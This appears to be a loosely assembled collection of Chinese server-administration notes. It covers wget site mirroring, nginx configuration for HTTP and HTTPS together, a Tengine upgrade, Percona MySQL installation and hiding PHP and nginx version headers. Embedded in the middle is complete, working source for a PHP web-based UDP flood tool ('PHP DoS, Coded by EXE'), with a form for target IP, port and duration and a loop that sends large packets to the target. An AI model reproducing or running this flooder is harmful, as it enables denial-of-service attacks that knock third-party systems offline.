如下例子是做镜像以下url。 该url为https 并且有端口号。
wget -r -p -np -k –no-check-certificate https://8.8.8.8:1433/info
如下例子是做镜像以下url。 该url为https 并且有端口号。
wget -r -p -np -k –no-check-certificate https://8.8.8.8:1433/info
如果一站点既要80 http访问,又要443https访问。
要让https和http并存,不能在配置文件中使用ssl on,配置listen 443 ssl;
实例
server
{
listen 80;
listen 443 ssl;
server_name www.iamle.com;
index index.html index.htm index.php;
root /home/wwwroot/www.iamle.com/;
#ssl on; 这里要注释掉
ssl_certificate /usr/local/nginx/conf/ssl/www_iamle_com.crt;
ssl_certificate_key /usr/local/nginx/conf/ssl/www_iamle_com.key;
#以下配置省略
}
From:http://nginx.org/en/docs/http/configuring_https_servers.html#single_http_https_server
It is good practice to configure separate servers for HTTP and HTTPS protocols from the very start. Although their functionalities currently seem equal, this may change significantly in the future and using a consolidated server may become problematic. However, if HTTP and HTTPS servers are equal, and you prefer not to think about the future, you may configure a single server that handles both HTTP and HTTPS requests by deleting the directive “ssl on” and adding the “ssl” parameter for *:443 port:
wget -c http://tengine.taobao.org/download/tengine-1.4.2.tar.gz tar zxvf tengine-1.4.2.tar.gz cd tengine-1.4.2 ./configure --user=www --group=www --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --with-http_gzip_static_module --with-ipv6 make mv /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.old rm -rf /usr/local/nginx/sbin/nginx cp -r objs/nginx /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx -t kill -USR2 `cat /usr/local/nginx/logs/nginx.pid` kill -QUIT `cat /usr/local/nginx/logs/nginx.pid.oldbin` /etc/init.d/nginx restart /usr/local/nginx/sbin/nginx -v
更新于2012年12月14日
RPM packages for RHEL (CENTOS)5 and RHEL(CENTOS) 6
cd /etc/pki/rpm-gpg
wget http://www.percona.com/downloads/RPM-GPG-KEY-percona
rpm -Uhv http://www.percona.com/downloads/percona-release/percona-release-0.0-1.x86_64.rpm vi /etc/yum.repos.d/Percona.repo 写入 [percona] name = CentOS $releasever - Percona baseurl=http://repo.percona.com/centos/$releasever/os/$basearch/ enabled = 1 gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-percona gpgcheck = 1 yum list | grep percona yum install Percona-Server-server-55 如果出错
warning: rpmts_HdrFromFdno: Header V4 DSA signature: NOKEY, key ID cd2efd2a
GPG key retrieval failed: [Errno 5] OSError: [Errno 2] No such file or directory: ‘/etc/pki/rpm-gpg/RPM-GPG-KEY-percona’
cd /etc/pki/rpm-gpg
wget http://www.percona.com/downloads/RPM-GPG-KEY-percona
官网yum apt-get安装文档
http://www.percona.com/doc/percona-server/5.5/installation.html
btw:mysql配置在线生成器 Percona配置在线生成器
index.php
<?php $ip = $_SERVER['REMOTE_ADDR']; ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <meta name="author" content=""> <title>PHP DoS, Coded by EXE</title> </head> <!-- PHP DOS, coded by EXE --> <style type="text/css"> <!-- body { font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; line-height: normal; color: #FFFFFF; background-color: #000000; } --> </style> <!-- PHP DOS, coded by EXE --> <body> <center><br><br> <img src="main.jpg"><br> <b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> <form name="input" action="function.php" method="post"> IP: <input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> Time: <input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> Port: <input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> <br><br> <input type="submit" value=" Start the Attack---> "> <br><br> <center> After initiating the DoS attack, please wait while the browser loads. </center> </form> </center> <!-- PHP DOS, coded by EXE --> </body> </html>
function.php
<?php //================================================= //PHP DOS v1.8 (Possibly Stronger Flood Strength) //Coded by EXE //================================================= $packets = 0; $ip = $_POST['ip']; $rand = $_POST['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_POST['time']; $time = time(); print "Flooded: $ip on port $rand <br><br>"; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
nginx中
http { server_tokens off;}
php.ini中
expose_php = On改为expose_php = Off